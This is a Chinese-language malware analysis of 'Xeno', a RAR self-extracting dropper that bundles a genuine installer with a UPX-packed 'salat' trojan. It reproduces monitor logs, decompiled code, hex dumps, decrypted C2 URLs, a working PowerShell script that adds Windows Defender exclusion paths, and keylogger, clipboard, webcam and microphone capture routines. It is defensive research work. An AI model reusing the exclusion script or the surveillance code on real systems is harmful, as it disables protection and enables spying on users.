

恶意样本分析

MD5:2dbbd175abb66d4a357cbbde6e5b96fa

Xeno

火绒剑行为监控

在Temp目录下创建了两个文件

12:22:6893	xeno.exe	4828:0	4828	FILE_open	C:\Users\xiaoxia\Desktop\xeno.exe	ac
12:22:6893	xeno.exe	4828:4668	4828	FILE_read	C:\Users\xiaoxia\Desktop\xeno.exe	of
12:22:6924	xeno.exe	4828:4668	4828	FILE_touch	C:\Users\xiaoxia\AppData\Local\Temp_tmp_rar_sfx_access_check_7990343	ac
12:22:6924	xeno.exe	4828:0	4828	FILE_open	C:\Users\xiaoxia\AppData\Local\Temp_tmp_rar_sfx_access_check_7990343	ac
12:22:6924	xeno.exe	4828:0	4828	FILE_open	C:\Users\xiaoxia\AppData\Local\Temp_tmp_rar_sfx_access_check_7990343	ac
12:22:6924	xeno.exe	4828:4668	4828	FILE_remove	C:\Users\xiaoxia\AppData\Local\Temp_tmp_rar_sfx_access_check_7990343	
12:22:6924	xeno.exe	4828:0	4828	FILE_open	C:\Users\xiaoxia\Desktop\xeno.exe	ac
12:22:6924	xeno.exe	4828:4668	4828	FILE_read	C:\Users\xiaoxia\Desktop\xeno.exe	of
12:22:6924	xeno.exe	4828:4668	4828	FILE_touch	C:\Users\xiaoxia\AppData\Local\Temp\xeno-v1.3.55.exe	ac
12:22:6955	xeno.exe	4828:4668	4828	FILE_write	C:\Users\xiaoxia\AppData\Local\Temp\xeno-v1.3.55.exe	of
12:22:7565	xeno.exe	4828:0	4828	FILE_modified	C:\Users\xiaoxia\AppData\Local\Temp\xeno-v1.3.55.exe	
12:22:7565	xeno.exe	4828:0	4828	FILE_open	C:\Users\xiaoxia\AppData\Local\Temp\xeno-v1.3.55.exe	ac
12:22:7565	xeno.exe	4828:4668	4828	FILE_touch	C:\Users\xiaoxia\AppData\Local\Temp\xeno.exe	ac
12:22:7580	xeno.exe	4828:4668	4828	FILE_write	C:\Users\xiaoxia\AppData\Local\Temp\xeno.exe	of
12:22:7580	xeno.exe	4828:0	4828	FILE_modified	C:\Users\xiaoxia\AppData\Local\Temp\xeno.exe	
12:22:7580	xeno.exe	4828:0	4828	FILE_open	C:\Users\xiaoxia\AppData\Local\Temp\xeno.exe	ac

随后执行释放的Xeno.exe, Xeno.exe执行Xeno-v1.3.55.exe。Xeno-v1.3.55.exe为正常的程序。

时间	进程名	进程ID	任务键ID	动作	路径	参数
12:22:27:690	xeno.exe	4828:0	4828	BA_exec_extr...	C:\Users\xiaoxia\AppData\Local\Temp\xeno.exe	
12:22:27:690	xeno.exe	4828:0	4828	FILE_open	C:\Users\xiaoxia\AppData\Local\Temp\xeno.exe	access:0x00120089 alloc_size:0 at
12:22:27:690	xeno.exe	4828:0	4828	FILE_open	C:\Users\xiaoxia\AppData\Local\Temp\xeno.exe	access:0x00120089 alloc_size:0 at
12:22:27:705	xeno.exe	4828:0	4828	FILE_open	C:\Windows\AppPatch\sysmain.sdb	access:0x00120089 alloc_size:0 at
12:22:27:705	xeno.exe	4828:0	4828	FILE_open	C:\Windows\System32\ipaccli.dll	access:0x00100021 alloc_size:0 at
12:22:27:705	xeno.exe	4828:0	4828	FILE_open	C:\Windows\System32\ympr.dll	access:0x00100021 alloc_size:0 at
12:22:27:705	xeno.exe	4828:0	4828	FILE_open	C:\Windows\System32\ympr.dll	access:0x00020000 alloc_size:0 at
12:22:27:705	xeno.exe	4828:0	4828	FILE_open	C:\Windows\System32\ipaccli.dll	access:0x00020000 alloc_size:0 at
12:22:27:705	xeno.exe	4828:0	4828	FILE_open	C:\Windows\System32\setupapi.dll	access:0x00020000 alloc_size:0 at
12:22:27:705	xeno.exe	4828:0	4828	FILE_open	C:\Windows\System32\devrtl.dll	access:0x00100021 alloc_size:0 at
12:22:27:705	xeno.exe	4828:0	4828	FILE_open	C:\Windows\System32\devrtl.dll	access:0x00020000 alloc_size:0 at
12:22:27:705	Xeno.exe	5572:0	4828	EXEC_create	C:\Users\xiaoxia\AppData\Local\Temp\xeno.exe	parent_pid:4828 cmdline:"C:\Use
12:22:27:705	Xeno.exe	5572:0	4828	FILE_open	C:\Windows\SysWOW64\apphelp.dll	access:0x00100021 alloc_size:0 at
12:22:27:705	Xeno.exe	5572:0	4828	FILE_open	C:\Users\xiaoxia\AppData\Local\Temp\xeno.exe	access:0x00020000 alloc_size:0 at
12:22:27:705	Xeno.exe	5572:0	4828	FILE_open	C:\Windows\SysWOW64\ntdll.dll	access:0x00020000 alloc_size:0 at
12:22:27:705	Xeno.exe	5572:0	4828	FILE_open	C:\Windows\SysWOW64\kernel32.dll	access:0x00020000 alloc_size:0 at
12:22:27:705	Xeno.exe	5572:0	4828	FILE_open	C:\Windows\SysWOW64\KernelBase.dll	access:0x00020000 alloc_size:0 at
12:22:27:705	Xeno.exe	5572:0	4828	FILE_open	C:\Windows\AppPatch\sysmain.sdb	access:0x00120089 alloc_size:0 at
12:22:27:705	Xeno.exe	5572:0	4828	FILE_open	C:\Users\xiaoxia\AppData\Local\Temp\xeno.exe	access:0x00120089 alloc_size:0 at
12:22:27:705	Xeno.exe	5572:0	4828	FILE_open	C:\Users\xiaoxia\AppData\Local\Temp\xeno.exe	access:0x00120089 alloc_size:0 at
12:22:27:705	Xeno.exe	5572:0	4828	FILE_open	C:\Users\xiaoxia\AppData\Local\Temp\xeno.exe	access:0x00120089 alloc_size:0 at
12:22:27:705	xeno.exe	4828:0	4828	FILE_open	C:\Users\xiaoxia\AppData\Local\Temp\xeno-v1.3.55.exe	access:0x00120089 alloc_size:0 at
12:22:27:705	xeno.exe	4828:0	4828	FILE_open	C:\Users\xiaoxia\AppData\Local\Temp\xeno-v1.3.55.exe	access:0x001000A1 alloc_size:0 at
12:22:27:815	xeno.exe	4828:4668	4828	FILE_read	C:\Users\xiaoxia\AppData\Local\Temp\xeno-v1.3.55.exe	offset:0x00000000 datalen:0x040C
12:22:27:877	xeno.exe	4828:0	4828	PROC_exec	C:\Users\xiaoxia\AppData\Local\Temp\xeno-v1.3.55.exe	target_pid:4776 cmdline:"C:\User
12:22:27:893	xeno.exe	4828:0	4828	BA_exec_extr...	C:\Users\xiaoxia\AppData\Local\Temp\xeno-v1.3.55.exe	
12:22:27:924	xeno.exe	4828:0	4828	FILE_open	C:\Windows\AppPatch\sysmain.sdb	access:0x00120089 alloc_size:0 at

逆向分析

Xeno创建一个"STARTDLG"的对话框, 在处理WM_INITDIALOG消息时发送WM_COMMAND消息

```
}
if ( dword_140070E7C && !byte_140070F84 )
{
    if ( dword_140070E7C == 1 )
        SendDlgItemMessageW(hWnd, WM_COMMAND, 1u, 0);
    else
        PostMessageW(hWnd, WM_COMMAND, 1u, 0);
}
if ( byte_140070F86 )
```

在WM_COMMAND中释放rar文件

```

v8 = 8;
sub_140004560(Src, (__int64)L"__tmp_rar_sfx_access_check_", (__int64)&v80);
sub_140001F50((__int64)&v80);
sub_140011408(v86);
v24 = sub_14001155C((__int64)v86, (WCHAR *)Src, 17);
if ( !v24 && GetLastError() == 5 )
    v23 = 1;
sub_140011464(v86);
sub_140001F50((__int64)Src);
v25 = byte_140070E81;
}
if ( v24 )
{
    dword_140070F80 = 1;
    sub_140002648(hWnd, 103);
    sub_140002648(hWnd, 102);
    v42 = (const WCHAR *)sub_14001A1AC(230);
    SetDlgItemTextW(hWnd, 1, v42);
    sub_140002648(hWnd, 105);
    SetDlgItemTextW(hWnd, 101, &String);
    v43 = GetDlgItem(hWnd, 101);
    v44 = v43;
    if ( v43 )
    {
        WindowLongPtrW = GetWindowLongPtrW(v43, -16);
        SetWindowLongPtrW(v44, -16, WindowLongPtrW | 0x80);
    }
    sub_14002CF98(hWnd, (__int64)&unk_140064D00, 5);
    sub_14002CF98(hWnd, (__int64)&unk_140064D00, 2);
    byte_140070F70 = 1;
    sub_14002F63C((__int64)hWnd, (__int64)&lpValue); // 释放rar
    byte_140070F70 = 0;
    sub_14002CF98(hWnd, (__int64)&unk_140064D00, 6);
}

```

在Xeno文件的0x6E000偏移保存着RAR文件

起始页	xeno.exe	ab.rar
	0 1 2 3 4 5 6 7 8 9 A B C D E F	0123456789ABCDEF
6:DF20h:	70 A1 78 A1 80 A1 88 A1	90 A1 98 A1 A0 A1 A8 A1
6:DF30h:	B0 A1 B8 A1 C0 A1 C8 A1	D0 A1 D8 A1 E0 A1 E8 A1
6:DF40h:	F0 A1 F8 A1 00 A2 08 A2	10 A2 18 A2 20 A2 28 A2
6:DF50h:	30 A2 38 A2 40 A2 48 A2	50 A2 58 A2 60 A2 68 A2
6:DF60h:	70 A2 78 A2 80 A2 88 A2	90 A2 98 A2 A0 A2 A8 A2
6:DF70h:	B0 A2 B8 A2 C0 A2 C8 A2	D0 A2 D8 A2 E0 A2 E8 A2
6:DF80h:	F0 A2 F8 A2 00 A3 08 A3	10 A3 18 A3 20 A3 30 A3
6:DF90h:	38 A3 40 A3 48 A3 50 A3	58 A3 00 00 00 00 00 00
6:DFA0h:	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00
6:DFB0h:	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00
6:DFC0h:	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00
6:DFD0h:	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00
6:DFE0h:	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00
6:DFE0h:	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00
6:E000h:	52 61 72 21 1A 07 01 00	E3 67 B4 DC 0D 01 05 09
6:E010h:	00 08 01 01 B3 99 F9 AB	80 00 F3 6F C8 24 13 03
6:E020h:	02 89 01 04 89 01 00 A2	80 B2 97 80 00 00 03 43
6:E030h:	4D 54 3B 54 68 65 20 63	6F 6D 6D 65 6E 74 20 62
6:E040h:	65 6C 6F 77 20 63 6F 6E	74 61 69 6E 73 20 53 46
6:E050h:	58 20 73 63 72 69 70 74	20 63 6F 6D 6D 61 6E 64
6:E060h:	73 0D 0A 0D 0A 50 61 74	68 3D 25 74 65 6D 70 25
6:E070h:	0D 0A 53 65 74 75 70 3D	58 65 6E 6F 2E 65 78 65
6:E080h:	0D 0A 53 65 74 75 70 3D	58 65 6E 6F 2D 76 31 2E
6:E090h:	33 2E 35 35 2E 65 78 65	0D 0A 53 69 6C 65 6E 74
6:E0A0h:	3D 31 0D 0A 4F 76 65 72	77 72 69 74 65 3D 31 0D
6:E0B0h:	0A 55 70 64 61 74 65 3D	55 0D 0A C6 96 AF CF 34
6:E0C0h:	02 03 0B 98 EB 9D AA 80	00 04 F0 DD AD AA 80 00
6:E0D0h:	20 04 EF 1B 50 80 43 00	10 58 65 6E 6F 2D 76 31
6:E0E0h:	2E 33 2E 35 35 2E 65 78	65 0A 03 02 E0 F0 85 AF
6:E0F0h:	12 F4 DC 01 8B DE 5D 52	50 77 54 53 32 34 46 50
6:E100h:	68 78 E2 F4 B6 86 D3 12	60 C9 1C 87 A5 C8 04 85

rar文件中就是Xeno.exe与Xeno-v1.3.55.exe

起始页xeno.exeab.rar x

0123456789A B C D E F0123456789ABCDEF

0000h: 52 61 72 21 1A 07 01 00 E3 67 B4 DC 0D 01 05 09 Rar!....BgU...
0010h: 00 08 01 01 B3 99 F9 AB 80 00 F3 6F C8 24 13 03³™ü«€.6oE\$..
0020h: 02 89 01 04 89 01 00 A2 80 B2 97 80 00 00 03 43 .%.%.C€²-€...C
0030h: 4D 54 3B 54 68 65 20 63 6F 6D 6D 65 6E 74 20 62 MT:The comment b
0040h: 65 6C 6F 77 20 63 6F 6E 74 61 69 6E 73 20 53 46 elow contains SF
0050h: 58 20 73 63 72 69 70 74 20 63 6F 6D 6D 61 6E 64 X script command
0060h: 73 0D 0A 0D 0A 50 61 74 68 3D 25 74 65 6D 70 25 s...Path=%temp%
0070h: 0D 0A 53 65 74 75 70 3D 58 65 6E 6F 2E 65 78 65 ..Setup=Xeno.exe
0080h: 0D 0A 53 65 74 75 70 3D 58 65 6E 6F 2D 76 31 2E ..Setup=Xeno-v1.
0090h: 33 2E 35 35 2E 65 78 65 0D 0A 53 69 6C 65 6E 74 3.55.exe..Silent
00A0h: 3D 31 0D 0A 4F 76 65 72 77 72 69 74 65 3D 31 0D =1..Overwrite=1.
00B0h: 0A 55 70 64 61 74 65 3D 55 0D 0A C6 96 AF CF 34 .Update=U..-I4
00C0h: 02 03 0B 98 EB 9D AA 80 00 04 F0 DD AD AA 80 00 ...~ë..ª€..ðY-ª€..
00D0h: 20 04 EF 1B 50 80 43 00 10 58 65 6E 6F 2D 76 31 .i.P€C..Xeno-v1
00E0h: 2E 33 2E 35 35 2E 65 78 65 0A 03 02 E0 F0 85 AF .3.55.exe...àð...

模板结果 - RAR.bt

名称	值	开始	大小	颜色	注释
byte Signature[8]	Rar!~r	0h	8h	Fg: Bg:	Signature
struct RarBlockV5 Block[0]	Main block	8h	12h	Fg: Bg:	
struct RarBlockV5 Block[1]	Service(Archive comment) block	1Ah	A1h	Fg: Bg:	
struct RarBlockV5 Block[2]	File block - Xeno-v1.3.55.exe	BBh	54775D1h	Fg: Bg:	
struct RarBlockV5 Block[3]	File block - Xeno.exe	547768Ch	36D62Fh	Fg: Bg:	
struct RarBlockV5 Block[4]	Service(Quick open) block	57E4CBBh	91h	Fg: Bg:	
struct RarBlockV5 Block[5]	End block	57E4D4Ch	8h	Fg: Bg:	

查找结果

地址	值
----	---

salat

rar中的Xeno.exe是一个加了UPX壳的salat木马

547:7800h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
547:7810h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
547:7820h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
547:7830h: 00 00 00 55 50 58 30 00 00 00 00 00 70 8E 00 00
547:7840h: 10 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00
547:7850h: 00 00 00 00 00 00 00 80 00 00 E0 55 50 58 31 00
547:7860h: 00 00 00 00 E0 36 00 00 80 8E 00 00 D2 36 00 00
547:7870h: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40
547:7880h: 00 00 E0 55 50 58 32 00 00 00 00 10 00 00 00
547:7890h: 60 C5 00 00 02 00 00 00 D4 36 00 00 00 00 00
547:78A0h: 00 00 00 00 00 00 00 40 00 00 C0 35 2E 30 32 00
547:78B0h: 55 50 58 21 0D 09 0E 0A A8 C1 6A BF 40 3D 9F BD

模板结果 - RAR.bt

名称	值	开始	大小	颜色
byte Signature[8]	Rar!~r	0h	8h	Fg: Bg:
struct RarBlockV5 Block[0]	Main block	8h	12h	Fg: Bg:
struct RarBlockV5 Block[1]	Service(Archive comment) block	1Ah	A1h	Fg: Bg:
struct RarBlockV5 Block[2]	File block - Xeno-v1.3.55.exe	BBh	54775D1h	Fg: Bg:
struct RarBlockV5 Block[3]	File block - Xeno.exe	547768Ch	36D62Fh	Fg: Bg:
struct RarBlockV5 Block[4]	Service(Quick open) block	57E4CBBh	91h	Fg: Bg:

AddressLengthTypeString

rddata:00CF7860	00000016	C	salat/screenshot.init
rddata:00CF7876	0000001D	C	salat/screenshot.CaptureRect
rddata:00CF7893	0000001D	C	salat/screenshot.CreateImage
rddata:00CF78B0	00000023	C	salat/screenshot.CreateImage.func1
rddata:00CF78...	00000019	C	salat/screenshot.Capture
rddata:00CF78EC	00000022	C	salat/screenshot.getDesktopWindow
rddata:00CF790E	00000024	C	salat/screenshot.Capture.deferwrap6
rddata:00CF7932	00000024	C	salat/screenshot.Capture.deferwrap5
rddata:00CF7956	00000024	C	salat/screenshot.Capture.deferwrap4
rddata:00CF797A	00000024	C	salat/screenshot.Capture.deferwrap3
rddata:00CF799E	00000024	C	salat/screenshot.Capture.deferwrap2
rddata:00CF79C2	00000024	C	salat/screenshot.Capture.deferwrap1
rddata:00CF79E6	00000022	C	salat/screenshot.GetDisplayBounds
rddata:00CF7A...	00000025	C	salat/screenshot.enumDisplayMonitors
rddata:00CF7A41	0000002A	C	salat/screenshot.getMonitorBoundsCallback
rddata:00CF7A6B	00000024	C	salat/screenshot.getMonitorRealSize
rddata:00CF7A8F	0000002B	C	salat/screenshot.enumDisplayMonitors.func1
rddata:00CF7A...	00000028	C	salat/screenshot.GetDisplayBounds.func1
rddata:00CF7AE2	0000001F	C	salat/screenshot.Capture.func1
rddata:00D446BF	0000001F	C	salat/screenshot/screenshot.go
rddata:00D449...	0000000F	C	salat/funcs.go
rddata:00D449...	0000000E	C	salat/init.go
rddata:00D449...	0000000E	C	salat/main.go
rddata:00D449...	0000000E	C	salat/sett.go
rddata:00D449...	0000000E	C	salat/task.go
rddata:00D449...	0000000D	C	salat/tsc.go

解密C2



<https://wruser.org/salat/>
<https://salator.es/salat/>
<https://websalat.top/salat/>
<https://salat.cn/salat/>
<https://wrat.in/salat/W>
<https://wruser.org:992/salat/>

执行脚本添加windows defender排除路径

```
# This script adds exclusions to windows defender
try {
    if (Get-Command Add-MpPreference -ErrorAction SilentlyContinue) {
        $ProgramFiles = [System.Environment]::GetFolderPath("ProgramFilesX86")
        $upddpath = $ProgramFiles -replace " \(\x86\)\"", ""
        Add-MpPreference -ExclusionPath $upddpath

        $ProgramFilesX86 =
[System.Environment]::GetFolderPath("ProgramFilesX86")
        if (Test-Path $ProgramFilesX86) {
            Add-MpPreference -ExclusionPath $ProgramFilesX86
        }

        $AppData = [System.Environment]::GetFolderPath("ApplicationData")
        Add-MpPreference -ExclusionPath $AppData

        $LocalAppData =
[System.Environment]::GetFolderPath("LocalApplicationData")
        Add-MpPreference -ExclusionPath $LocalAppData
    }
}

catch {
}
```

Keylogger

使用SetWinEventHook、与 SetWindowsHookExA，需要构建消息循环。

```

p_windows_main__vulnerable = 0;
p_bufio.Writer->wr.tab = (void *)&off_C8E1FC;
p_bufio.Writer->wr.data = v4;
dword_FCIAC0 = p_bufio.Writer;
v20 = main_SetWinEventHook((int)&off_BF2970);
v19 = syscall_compileCallback(
    (int)&RTYPE_PTR_funcint_comma__main_WPARAM_comma__main_LPARAM_main_LRESULT,
    (int)&off_BF292C, // main_keyPressCallback
    1);
p_4_uintptr = (_4_uintptr *)runtime_newobject(&RTYPE__4_uintptr);
(*p_4_uintptr)[0] = 13;
(*p_4_uintptr)[1] = v19;
(*p_4_uintptr)[2] = 0;
(*p_4_uintptr)[3] = 0;
v21 = golang_org_x_sys_windows_ptr_LazyProc_Call(off_FAE360, (int)p_4_uintptr, 4, 4); // SetWindowsHookExA
p_struct__hwnd_main_HWND_message_uint32_ = (struct__hwnd_main_HWND_message_uint32_ *)runtime_newobject(&RTYPE_struct__hwnd_main_HWND_message_uint32_);
for ( i = p_struct__hwnd_main_HWND_message_uint32_ ; p_struct__hwnd_main_HWND_message_uint32_ = i )
{

```

如

<https://github.com/phucvo-nino-nvd/hcmus-websocket-lan-control/blob/718b8bd5094a9d3bf36fd692891da6f8b860f1e2/backend/src/modules/keylogger.cpp>

```

67 void CALLBACK winevent_proc(HMINEVENTHOOK hook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD dwEventThread, DWORD dwmsEventTime) {
68     if (idObject != OBJID_WINDOW || !hwnd)
69         return;
70
71     // Get title
72     wchar_t title[256];
73     GetWindowTextW(hwnd, title, sizeof(title) / sizeof(wchar_t));
74     if (title[0] == L'\0') return;
75     int size = WideCharToMultiByte(CP_UTF8, 0, title, -1, NULL, 0, NULL, NULL);
76
77     std::string res(size - 1, 0);
78     WideCharToMultiByte(CP_UTF8, 0, title, -1, res.data(), size, NULL, NULL);
79
80     std::string payload = "\n[ " + res + " ]\n";
81     if (res == "Task Switching") return; // Ignore Alt+Tab window
82     PubSub::instance().publish("keylog", (const uint8_t*)payload.c_str(), payload.size(), true);
83 }
84 void HookThreadLoop() {
85     g_keyhook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboard_proc, NULL, 0);
86     g_winHook = SetWinEventHook(
87         EVENT_SYSTEM_FOREGROUND,
88         EVENT_SYSTEM_FOREGROUND,
89         NULL,
90         winevent_proc,
91         0, 0,
92         WINEVENT_OUTOFCONTEXT | WINEVENT_SKIPOWNPROCESS
93     );
94
95     g_thread_id = GetCurrentThreadId();
96
97     MSG msg;
98     while (GetMessage(&msg, NULL, 0, 0)) {
99         if (msg.message == WM_QUIT) break;
100         TranslateMessage(&msg);
101         DispatchMessage(&msg);
102     }
103
104     if (g_keyhook) { UnhookWindowsHookEx(g_keyhook); g_keyhook = nullptr; }
105     if (g_winHook) { UnhookWinEvent(g_winHook); g_winHook = nullptr; }
106
107     g_thread_id = 0;
108 }

```

获取剪贴板数据

```

v15 = nullptr;
v16 = nullptr;
p_1_uintptr = (_1_uintptr *)runtime_newobject(&RTYPE__1_uintptr);
golang_org_x_sys_windows_ptr_LazyProc_Call(off_FAE394, (int)p_1_uintptr, 1, 1); // OpenClipboard
v0 = v8;
if ( (const int *)v8 != &off_C8E16C )
    runtime_panicdottype1();
if ( *v9 )
{
    v13 = 0;
    v14 = nullptr;
    if ( v8 )
        v0 = *((DWORD *)v8 + 4);
    v13 = v0;
    v14 = v9;
    *((QWORD *)result._r0) = 0;
    *((QWORD *)&result._r0[2]) = __PAIR64__(v8, fmt_Errorf((int)&dword_A071BC, 62, (int)&v13, 1, 1));
}
else
{
    v12[0] = main_getClipboardText_deferwrap1;
    v12[1] = off_FAE398[0];
    v15 = (void (*)(void))v12;
    v4 = (_1_uintptr *)runtime_newobject(&RTYPE__1_uintptr);
    (*v4)[0] = 13;
    v6 = golang_org_x_sys_windows_ptr_LazyProc_Call(off_FAE39C, (int)v4, 1, 1); // GetClipboardData
    if ( v6 )
    {
        v10 = v6;
        v5 = (_1_uintptr *)runtime_newobject(&RTYPE__1_uintptr);
        (*v5)[0] = v6;
        v7 = golang_org_x_sys_windows_ptr_LazyProc_Call(off_FAE3A0, (int)v5, 1, 1); // GlobalLock
        if ( v7 )
        {

```

通过ffmpeg获取视频和音频

通过getWebcams 与getMics 获取已连接的设备

```
.text:008CBE1E 084      nop      eax, aTempFfmpegExe ; "${TEMP}\\ffmpeg.exe"
.text:008CBE1F 084      lea      [esp+84h+var_84], eax ; int
.text:008CBE25 084      mov     [esp+84h+var_80], 12h ; int
.text:008CBE28 084      lea      eax, off_BF2974
.text:008CBE30 084      mov     [esp+84h+var_7C], eax ; int
.text:008CBE36 084      call    os_Expand
.text:008CBE3A 084      mov     eax, [esp+84h+var_78]
.text:008CBE3F 084      mov     ecx, [esp+84h+var_74]
.text:008CBE43 084      mov     [esp+84h+var_64], ecx ; int
.text:008CBE47 084      lea      edi, [esp+84h+var_38]
.text:008CBE4B 084      mov     edx, eax
.text:008CBE51 084      xor     eax, eax
.text:008CBE53 084      call    loc_478A32
.text:008CBE58 084      mov     [esp+84h+var_34], 0Ch
.text:008CBE60 084      lea      eax, aHideBanner ; "-hide_banner"
.text:008CBE66 084      mov     [esp+84h+var_38], eax
.text:008CBE6A 084      mov     [esp+84h+var_2C], 00h
.text:008CBE72 084      lea      eax, aListDevices ; "-list_devices"
.text:008CBE78 084      mov     [esp+84h+var_30], eax
.text:008CBE7C 084      mov     [esp+84h+var_24], 4
.text:008CBE84 084      lea      eax, aTrueSCLaltralt ; "true%s%cLaltraltLWinRWinAppsDownLeftHom"...
.text:008CBE8A 084      mov     [esp+84h+var_28], eax
.text:008CBE8E 084      mov     [esp+84h+var_1C], 2
.text:008CBE96 084      lea      eax, unk_9DDCAF ; -f
.text:008CBE9C 084      mov     [esp+84h+var_20], eax
.text:008CBEA0 084      mov     [esp+84h+var_14], 5
.text:008CBEA8 084      lea      eax, unk_9DE528 ; dshow
.text:008CBEAE 084      mov     [esp+84h+var_18], eax
.text:008CBEB2 084      mov     [esp+84h+var_C], 2
.text:008CBEBA 084      lea      eax, unk_9DDCB1 ; -i
.text:008CBECE 084      mov     [esp+84h+var_10], eax
.text:008CBEC4 084      mov     [esp+84h+var_4], 0
.text:008CBECF 084      mov     [esp+84h+var_8], 0
.text:008CBED7 084      mov     [esp+84h+var_84], edx ; int
004C82BA 008CBEBA: main_getMics+BA (Synchronized with Hex View-1)
```

通过正则表达式获取音频和视频设备

```
.text:008CBF3C 084      mov     [esp+84h+var_84], ecx ; _ptr_os_exec_Cmd
.text:008CBF3F 084      call    os_exec_ptr_Cmd_CombinedOutput
.text:008CBF44 084      mov     eax, [esp+84h+var_80]
.text:008CBF48 084      mov     [esp+84h+var_44], eax
.text:008CBF4C 084      mov     eax, [esp+84h+var_7C]
.text:008CBF50 084      mov     [esp+84h+var_5C], eax ; int
.text:008CBF54 084      lea      eax, aAudio ; "\"([^\"]+)\\" \\((audio)\\)"
.text:008CBF5A 084      mov     [esp+84h+var_84], eax ; string
.text:008CBF5D 084      mov     [esp+84h+var_80], 15h
.text:008CBF65 084      call    regex_MustCompile
.text:008CBF6A 084      mov     eax, [esp+84h+var_7C]
```

获取音频

```
v24 = os_Expand((int)"${TEMP}\\ffmpeg.exe", 18, (int)&off_BF2974);
v22 = v18;
memset(v37, 0, 128);
v37[1] = 12;
v37[0] = (int)"-hide_banner";
v37[3] = 9;
v37[2] = (int)&unk_9E027E; // -loglevel
v37[5] = 5;
v37[4] = (int)&byte_9DE523; // error
v37[7] = 8;
v37[6] = (int)&unk_9DF848; // -nostats
v37[9] = 2;
v37[8] = (int)&unk_9DDCAF; // -f
v37[11] = 5;
v37[10] = (int)&unk_9DE528; // dshow
v37[13] = 2;
v37[12] = (int)&unk_9DDCB1; // -i
v20 = runtime_concatstring3(0, (int)&unk_9DE981, 6, (int)a2.str, a2.len, 0, 0);
v37[15] = v21; // audio=
v37[14] = v20;
v37[17] = 2;
v37[16] = (int)&unk_9DDCB3; // -y
v37[19] = 7;
v37[18] = (int)&unk_9DEF9D; // -update
v37[21] = 1;
v37[20] = (int)&dword_C8A920; // 1
v37[23] = 2;
v37[22] = (int)&unk_9DDCAF; // -f
v37[25] = 3;
v37[24] = (int)&unk_9DDE0A; // wav
v37[27] = 3;
v37[26] = (int)&unk_9DDE0D; // -af
v37[29] = 63;
v37[28] = (int)"aformat=sample_fmts=s32:channel_layouts=mono:sample_rates=32000";
004C783B main_ptr_vaSess.ffmpeg:69 (8C843B)
```

获取视频

```
.text:008C8B55 21C      call     runtime_makechan
.text:008C8B5A 21C      mov     eax, dword ptr [esp+21Ch+var_214]
.text:008C8B5E 21C      mov     [esp+21Ch+var_190], eax
.text:008C8B65 21C      nop
.text:008C8B66 21C      lea     eax, aTempFfmpegExe ; "${TEMP}\\ffmpeg.exe"
.text:008C8B6C 21C      mov     [esp+21Ch+var_21C], eax ; int
.text:008C8B6F 21C      mov     dword ptr [esp+21Ch+var_218], 12h ; int
.text:008C8B77 21C      lea     eax, off_BF2974
.text:008C8B7D 21C      mov     dword ptr [esp+21Ch+var_214], eax ; int
.text:008C8B81 21C      call    os_Expand
.text:008C8B86 21C      mov     eax, [esp+21Ch+var_210]
.text:008C8B8A 21C      mov     [esp+21Ch+var_1AC], eax
.text:008C8B8E 21C      mov     eax, [esp+21Ch+var_20C]
.text:008C8B92 21C      mov     [esp+21Ch+var_1D8], eax
.text:008C8B96 21C      lea     edi, [esp+21Ch+var_D4]
.text:008C8B9D 21C      xor     eax, eax
.text:008C8B9F 21C      call    loc_478A24
.text:008C8BA4 21C      mov     [esp+21Ch+var_D0], 2
.text:008C8BAF 21C      lea     eax, unk_9DDCAF
.text:008C8BB5 21C      mov     [esp+21Ch+var_D4], eax
.text:008C8BBC 21C      mov     [esp+21Ch+var_C8], 5
.text:008C8BC7 21C      lea     eax, unk_9DE528
.text:008C8BCD 21C      mov     [esp+21Ch+var_CC], eax
.text:008C8BD4 21C      mov     [esp+21Ch+var_C0], 2
.text:008C8BDF 21C      lea     eax, unk_9DDCB1
.text:008C8BE5 21C      mov     [esp+21Ch+var_C4], eax
.text:008C8BEF 21C      mov     [esp+21Ch+var_21C], 0 ; int
.text:008C8BF3 21C      lea     eax, aMjpegIctrIrcr+48Ah ; "video=LShiftRShiftPageUpInsertDelete[AF"...
.text:008C8BF9 21C      mov     dword ptr [esp+21Ch+var_218], eax ; int
.text:008C8BFD 21C      mov     dword ptr [esp+21Ch+var_214], 6 ; int
.text:008C8C05 21C      mov     eax, [esp+21Ch+arg_4]
.text:008C8C0C 21C      mov     [esp+21Ch+var_210], eax ; int
.text:008C8C10 21C      mov     eax, [esp+21Ch+arg_8]
.text:008C8C17 21C      mov     [esp+21Ch+var_20C], eax ; int
004C7F86 008C8B86: main_ptr_vsSeas_ffvcom+86 (Synchronized with Hex View-1)
```

从接收数据制定url下载文件

```
return v10;
v14[0] = main_downloadFileUnsafe_deferwrap1;
v14[1] = v9;
v16 = (void (*)(void))v14;
p_net_http_Client = (net_http_Client *)runtime_newobject(&RTYPE_net_http_Client);
qmemcpy(p_net_http_Client, &unk_C9096C, sizeof(net_http_Client));
v8 = net_http_ptr_Client_Get(p_net_http_Client, a1, a2);
if ( v9 )
{
    (*v16)();
    return (unsigned int)v9;
}
else
{
    v4 = *(_DWORD *)(v8 + 32);
    v5 = *(_DWORD *)(v8 + 36);
    v13[0] = main_downloadFileUnsafe_deferwrap2;
    v13[1] = v4;
    v13[2] = v5;
    v17 = (void (*)(void))v13;
    v6 = *(_DWORD *)(v8 + 32);
    v7 = *(_DWORD *)(v8 + 36);
    if ( v6 )
    {
        v12 = *(_DWORD *)(v8 + 36);
        v6 = runtime_typeAssert((int)&off_FAFF28, *(_DWORD *)(v6 + 4));
        v7 = v12;
    }
    io_copyBuffer((int)&off_CBE1FC, 0, v6, v7, 0, 0, 0);
    if ( (_DWORD)v11 )
        result = v11;
    else
        result = 0;
    (*v17)();
    (*v16)();
004CA9CF main.downloadFileUnsafe:39 (8CB5CF)
```

获取屏幕截图

使用<https://github.com/lxn/win> 封装的winAPI包

```
}
else
{
